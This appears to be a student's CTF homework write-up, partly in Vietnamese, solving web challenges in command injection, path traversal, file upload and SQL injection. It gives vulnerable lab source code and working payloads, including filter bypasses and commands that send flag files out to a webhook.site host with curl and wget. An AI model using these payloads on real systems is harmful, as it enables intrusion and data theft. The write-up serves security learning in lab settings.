# Writeup for PIS Web-hacking homework
# OS Command Injection
1. The Existed File
source code:
```
from flask import Flask, request, render_template_string
import os
import subprocess
import string
app = Flask(__name__)
@app.route('/', methods=["GET", "POST"])
def index():
result = ""
file_path = None
if request.method == "POST":
file_path = request.form.get("file_path")
file_path = file_path.translate({ord(c): None for c in string.whitespace})
# Blacklist filter
blacklisted = [";", "&", "|", "&&", "cat", "head", "tail", "zip", "base64", "bash", "sh", "python", "`"]
is_blacklisted = any(bl in file_path for bl in blacklisted)
if is_blacklisted:
result = "Blacklist characters detected!"
else:
try:
command = f"ls -l {file_path}"
result = subprocess.check_output(command, shell=True).decode()
if result:
result = 'File is existed!'
except Exception as e:
result = 'File is not existed'
return render_template_string('''
<b>Enter the file path to check if it exists:</b><br>
<form method="post">
<input type="text" id="file_path" name="file_path" value="/etc/passwd">
<input type="submit" value="Submit">
</form>
{% if file_path %}
<b> Checking {{file_path }}</b><br></br>
{% endif %}
<pre>{{ result }}</pre>
''', result=result, file_path=file_path)
if __name__ == "__main__":
app.run("0.0.0.0", 1337)
```
challenge này filter 1 số keyword như ";", "&",... nhưng còn 1 cách để bypass đó là dùng "$", thử với payload sau:
```
$(sleep+5)
```

It works, nhưng space đã bị filter nên em sẽ thay thế bằng ${IFS}, thử lại với payload sau:
```
$(sleep${IFS}5$(ls))
```

aukay được ròi, nhưng nó k in ra gì hết, em kết luận đây là 1 bài dạng blind command injection, nên em sẽ dùng kỹ thuật OOB để xuất kết quả sang server của mình, payload như sau:
```
$(curl${IFS}-F{IFS}file=@/flag.txt${IFS}https://webhook.site/673c912f-6b31-445d-8e5a-0b18da398af0)
```
Boom iem đã có đựt flag :>>

***flag: CHH{os_c0mManD_INj3cTi0N_bypa5S_FIL7Er_c99ce71940dc14e612a6b8cdf6085674}***
2. Ping 0x01
source code:
```
<?php
if(isset($_POST[ 'ip' ])) {
$target = trim($_POST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Ping Pong</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
</head>
<body class="text-center">
<main class="form-ping">
<form method="post">
<img class="mb-4" src="picture.gif" alt="" width="272" height="257">
<h1 class="h3 mb-3 fw-normal">Ping machine</h1>
<div class="form-floating">
<input name="ip" class="form-control" id="floatingInput">
<label for="floatingInput">Ip address</label>
</div>
<div class="text-start">
<?php if(isset($_POST[ 'ip' ])) { echo $target;
echo "<pre>{$cmd}</pre>";}?>
</div>
<button class="w-100 btn btn-lg btn-primary" type="submit">Ping</button>
</form>
</main>
</body>
</html>
```
hmmm bài này bypass filter cũng khá dễ, dùng %0a (xuống dòng) để bypass là xong, test thử với payload sau:
```
ip=localhost%0awhoami
```

It works hehe :>, lấy flag thoii
```
ip=localhost%0acat%20/*
```

***flag: CHH{EASY_f11tEr_coMM4ND_INJ3c71oN_1fffeb394465aab45cf64cc58dd17528}***
3. Ping 0x02
source code:
```
<?php
if(isset($_POST[ 'ip' ])) {
$target = urldecode(trim($_POST[ 'ip' ]));
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
' ' => '',
'flag' => '',
"*" => ''
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Ping Pong</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
</head>
<body class="text-center">
<main class="form-ping">
<form method="post">
<img class="mb-4" src="picture.gif" alt="" width="272" height="257">
<h1 class="h3 mb-3 fw-normal">Ping machine</h1>
<div class="form-floating">
<input name="ip" class="form-control" id="floatingInput">
<label for="floatingInput">Ip address</label>
</div>
<div class="text-start">
<?php if(isset($_POST[ 'ip' ])) { echo $target;
echo "<pre>{$cmd}</pre>";}?>
</div>
<button class="w-100 btn btn-lg btn-primary" type="submit">Ping</button>
</form>
</main>
</body>
</html>
```
Bài này filter "flag","space" và "*" :>, payload đơn giản thoii:
```
ip=localhost%0acat</flflagag.txt
```
khi server duyệt đến flflagag, do "flag" bị filter nên nó sẽ trở thành rỗng, và khi đó fl ghép với ag lại thành flag, và ta bypass thành công :>

***flag: CHH{Med1Um_F11TEr_coMm4ND_InJ3C71On_bedc0133da7fa07fb960fcfb17cb695e}***
4. Blind Command Injection
Đọc đề em nghĩ ngay tới OOB :>

Đề bảo nếu không dùng method GET thì server sẽ thực thi cmd, nên em dùng phương thức HEAD, em thử trước với payload sau:
```
?cmd=curl+https://webhook.site/673c912f-6b31-445d-8e5a-0b18da398af0
```

Response từ server là 200, check server bên webhook xem có gì không:

Hmm, không có gì, có lẽ nó cũng filter curl nên em sẽ sử dụng cách khác, dùng wget :>, thử thoi nàoo:
```
?cmd=wget+https://webhook.site/673c912f-6b31-445d-8e5a-0b18da398af0
```

yayy đã có response từ webhook, lấy flag thoii:
```
?cmd=wget+https://webhook.site/673c912f-6b31-445d-8e5a-0b18da398af0/?cmd=`cat+/*`
```

hehe :>
***flag: CHH{bl1Nd_c0MMaNd_InJec7iON_dd33473ecc22ec3886008e0b315d3d52}***
5. Command Limit Length
Có vẻ như bài này giới hạn độ dài command, test thử vài lệnh cơ bản xem sao:

Có vẻ đã bị filter, thử lại với 'l's:

okayy ta đã có được file chứa flag, lấy nó thoii

oof giới hạn chỉ được 5 chữ, hmm giờ sao giờ ta, sau 1 hồi suy nghĩ thì em nhận ra lệnh * dùng để xuất toàn bộ file có trong thư mục lên màn hình, và tăng dần theo hàng(p/s em hong biết giải thích nnao khúc này huhu), nhưng nếu mình dựa vào đó để thực hiện lệnh thì sao, ví dụ khi tạo 1 file có tên cat, và trong file có 3 file a, b, c , khi ta dùng lệnh "*" thì nó sẽ như này:
```
cat
a
b
c
cat a
cat b
cat c
...
```
Phải thử mới biết được :>
Đầu tiên em tạo 1 file có tên cat bằng ">cat", sau đó dùng 'l's để kiểm tra xem đã tạo được chưa:

Okay thành công rồi, có lẽ là hướng đi của em đã đúng, giờ lấy flag thoii :>

IT WORKSSS!!!, genius thiệt chớ :>>
***flag: CHH{TH3_m0N5t3r_rce_1s_D3f3AteD_7816e0d4fb58d6ff6a6e863a7a17967b}***
6. Baby Ping
Thử với payload cơ bản trước :>
```
host=8.8.8.8%0awhoami
```

Oh no nó đã chèn double quotes vào payload của em :<, nhưng hong sao, bypass cũng khá easy, chỉ cần chèn " trước command và phần còn lại là lịch sử thoii :>
```
host=8.8.8.8"%0acat+"/flag.txt
```
P/s: thêm " vào trước /flag.txt để kết hợp với " ở đoạn đuôi tạo thành "/flag.txt"

***flag:CHH{C0MM4ND_1nj3C7ioN_pinG_ea6ee2f78beef47684518a241cfe657c}***
7. Baby Crawler
Lại thêm 1 bài OOB, hiu hiu em lười viết qaa nên em để payload ở đây :>
```
https://vnexpress.net/viet-nam-xuat-khau-sang-my-latinh-mot-ty-usd-moi-thang-4541275.html;curl -F file=@/flag.txt https://webhook.site/673c912f-6b31-445d-8e5a-0b18da398af0
```
***flag:CHH{b48Y_CUrl_CrAwl3r_0c2e73059bea53200537d008367ea5f6}***
8. Ethical Ping Pong Club
payload đơn giản thoii:
```
addr=localhost%0acat</flag.txt
```

***flag:EHC{C0mm4nd_1nj3ct10n_6df54b3532fc66d5e72cda34c5cf67f7}***
9. PHP - Command injection
"The flag is on the index.php file"
dùng ls -al để xem toàn bộ file trong thư mục hiện tại:
```
ip=localhost%0als+-al
```

okayy thấy file .passwd ròi, lụm flag thoii:
```
ip=localhost%0acat+.passwd
```

***flag:S3rv1ceP1n9Sup3rS3cure***
10. Command injection - Filter bypass
Bài này Blind, nên em dùng OOB luôn, payload như sau:
```
ip=localhost%0acurl+-F+file=@.passwd+https://webhook.site/673c912f-6b31-445d-8e5a-0b18da398af0
```
***flag:Comma@nd_1nJec7ion_Fl@9_1337_Th3_G@m3!!!***
# Path Traversal
1. Path Traversal
source code:
```
#!/usr/bin/python3
from flask import Flask, request, render_template, abort
from functools import wraps
import requests
import os, json
users = {
'0': {
'userid': 'guest',
'level': 1,
'password': 'guest'
},
'1': {
'userid': 'admin',
'level': 9999,
'password': 'admin'
}
}
def internal_api(func):
@wraps(func)
def decorated_view(*args, **kwargs):
if request.remote_addr == '127.0.0.1':
return func(*args, **kwargs)
else:
abort(401)
return decorated_view
app = Flask(__name__)
app.secret_key = os.urandom(32)
API_HOST = 'http://127.0.0.1:1337'
try:
FLAG = open('/flag.txt', 'r').read() # Flag is here!!
except:
FLAG = '[**FLAG**]'
@app.route('/')
def index():
return render_template('index.jinja2')
@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
if request.method == 'GET':
return render_template('get_info.jinja2')
elif request.method == 'POST':
userid = request.form.get('userid', '')
info = requests.get(f'{API_HOST}/api/user/{userid}').text
return render_template('get_info.jinja2', info=info)
@app.route('/api')
@internal_api
def api():
return '/user/<uid>, /flag'
@app.route('/api/user/<uid>')
@internal_api
def get_flag(uid):
try:
info = users[uid]
except:
info = {}
return json.dumps(info)
@app.route('/api/flag')
@internal_api
def flag():
return FLAG
@app.errorhandler(404)
def page_not_found(e):
# note that we set the 404 status explicitly
return render_template('404.jinja2'), 404
application = app
app.run(host='0.0.0.0', port=1337)
# Dockerfile
# ENTRYPOINT ["uwsgi", "--socket", "0.0.0.0:8000", "--protocol=http", "--threads", "4", "--wsgi-file", "app.py"]
```
Bài này cũng khá đơn giản thoi, mấu chốt nằm ở khúc này:
```
@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
if request.method == 'GET':
return render_template('get_info.jinja2')
elif request.method == 'POST':
userid = request.form.get('userid', '')
info = requests.get(f'{API_HOST}/api/user/{userid}').text
return render_template('get_info.jinja2', info=info)
@app.route('/api')
@internal_api
def api():
return '/user/<uid>, /flag'
@app.route('/api/user/<uid>')
@internal_api
def get_flag(uid):
try:
info = users[uid]
except:
info = {}
return json.dumps(info)
@app.route('/api/flag')
@internal_api
def flag():
return FLAG
```
Khi ta nhập vào uid, thì server sẽ redirect tới /api/user/userid, khi nào redirect tới /api/flag thì sẽ trả lại flag, vậy ta chỉ cần lùi về 2 endpoint là đã có được flag, payload như sau:
```
userid=../flag
```

***flag:CHH{pa7H_TrAvERSal_inT3Rnal_Bypa55_0b8036d71e998d42ee445230f54b0cf6}***
2. Unzip me now
Bài này dùng kỹ thuật symlink, tựa như 1 bài trong picoCTF, thì đại khái symlink (Symbolic link) là thuật ngữ chỉ một file tham chiếu đến file khác hoặc thư mục khác dưới dạng đường dẫn tương đối hoặc tuyệt đối. Mình chỉ cần tạo 1 symlink tới /flag.txt và lưu nó dưới dạng zip sau đó up lên web là đã có được flag. Command như sau:
```
ln -s /flag.txt flag
zip -y flag.zip flag
```
upload lên và lấy flag thoii:
***flag:CHH{zIPpy_PATH_tRAvERS4l_96e5ca844a4e459b7800ec1129a173da}***
3. Directory traversal

Dễ dàng thấy có thể khai thác ở parameter galerie, thử để trống xem có gì

Đây ròii, đọc source và làm thoaii
Final link: http://challenge01.root-me.org/web-serveur/ch15/galerie/86hwnX2r/password.txt
***flag:kcb$!Bx@v4Gs9Ez***
# File upload
1. Upload Path Traversal
Đề bài bảo mình k thể execute web shell ở thư mục hiện tại, thế thì chỉ cần lùi về 1 thư mục thoi, đổi filename lại thành %2e%2e%2f để bypass ../, đổi extension thành .php để thực thi command:

Kết quả:

Inject command vào và lấy flag thôi:
***flag: CHH{uPl04d_vIA_P4tH_Trav3r54L_69e2b5d44c4083765284690019136bea}***
P/s: hầu như các chall sau chall nào cũng 1 lời giải như 1 nên em sẽ để writeup của chall này như 1 lời giải chung :V
2. File upload via PUT method
Hmm upload thông qua method PUT, search google tìm cách thoi:
https://stackoverflow.com/questions/5143915/test-file-upload-using-http-put-method
command:
```
curl -X PUT -T exploit.php http://103.97.125.56:31980/images/
```

aukay và exploit.php đã được upload, lấy flag thoii:
***flag:CHH{pu7_MetHod_WEBDaV_09eca9ad708f0c686534368551714790}***
3. Insufficient blacklisting file types
Bài này filter các extensions như .php, .php3, .php4, .php5, tìm tòi 1 chút trên PayLoadAllTheThings, kiến thức mới đã được tiếp thuu :>

aukay khai thác thoi :>

hehe upload thành công rồi, lấy flag thoi nào :3
***flag:CHH{IN$UFFicieNT_81Ackl1st1NG_f1LE_7YP35_0c706e179afc7435dbfafb3510853219}***
# SQL Injection
1. Simple SQL Injection Bypass Login
Simple theo nghĩa đen, test thử với payload cơ bản nhất:
```
"OR 1=1 -- -
```

Hmm nó hiện cột guest trước sau cột admin, chỉnh sửa lại payload 1 xíu:
```
"OR 1=1 order by 1,2-- -
```
and we've got the flag:

***flag: CHH{s1MPL3_$qlI_ByP45S_L0GiN_9c6cbc881ea6e02d8ae3f28def0e94f7}***
2. Baby Address Note
Đầu tiên em xác định số cột có thể khai thác bằng payload sau:
```
'order by 1,4-- -
```

có thể thấy chỉ có 3 cột tối đa, sau đây là payload của em để lấy tên bảng:
```
'union select 1,sql,3 from sqlite_master-- -
```

có thể thấy tên bảng chứa flag là flag_xCiL5, và giá trị của flag nằm ở cột 2, tiến hành lấy flag thoi :>
Final payload:
```
'union select 1,flag,3 from flag_xCiL5-- -
```

***flag: CHH{5QL_INJ3cTiON_SQL1T33_d046681f7519d21d2fcbaca3b9eec8a2}***
3. SQL injection vulnerability in WHERE clause

Dựa vào parameter em có thể suy được query của server là SELECT FROM list WHERE category=?
Payload của em để lấy flag
```
?category='or 1=1 -- -
```
***flag: CHH{51mpL3_Sqli_IN_WhER3_b6c191bd31cadd5b91709fc4b3025ea6}***
4. Simple SQLi
Bài này cũng như bài đầu thoii
***flag: CHH{5IMpL3_5ql_1njEC710N_0b7b331fba72b853388bfb1a4b2d6c6b}***
5. SQL Direct

1 bài postgresql, payload của em để lấy tất cả bảng:
```
select * from information_schema.tables;
```

Đã thấy bảng flags, lấy flag thoii :>
```
select * from flags;
```

***flag:picoCTF{L3arN_S0m3_5qL_t0d4Y_31fd14c0}***
6. More SQLi


1 form login, thử 1 simple payload thôi nào:
```
'or 1=1 -- -
```

à nó select từ password trước, đảo vị trí thôi là xong:

tiếp tục lấy tên bảng tiếp :>
```
'union select 1,sql,3 from sqlite_master-- -
```

flag nằm trong bảng more_table, lấy flag thoii:
```
'union select 1,flag,3 from more_table-- -
```

***flag: picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_c8ee9477}***
7. SQLiLite


lại là 1 login panel, simple payload:
```
'or 1=1-- -
```

ok xem source và lấy flag thoi:
***flag: picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}***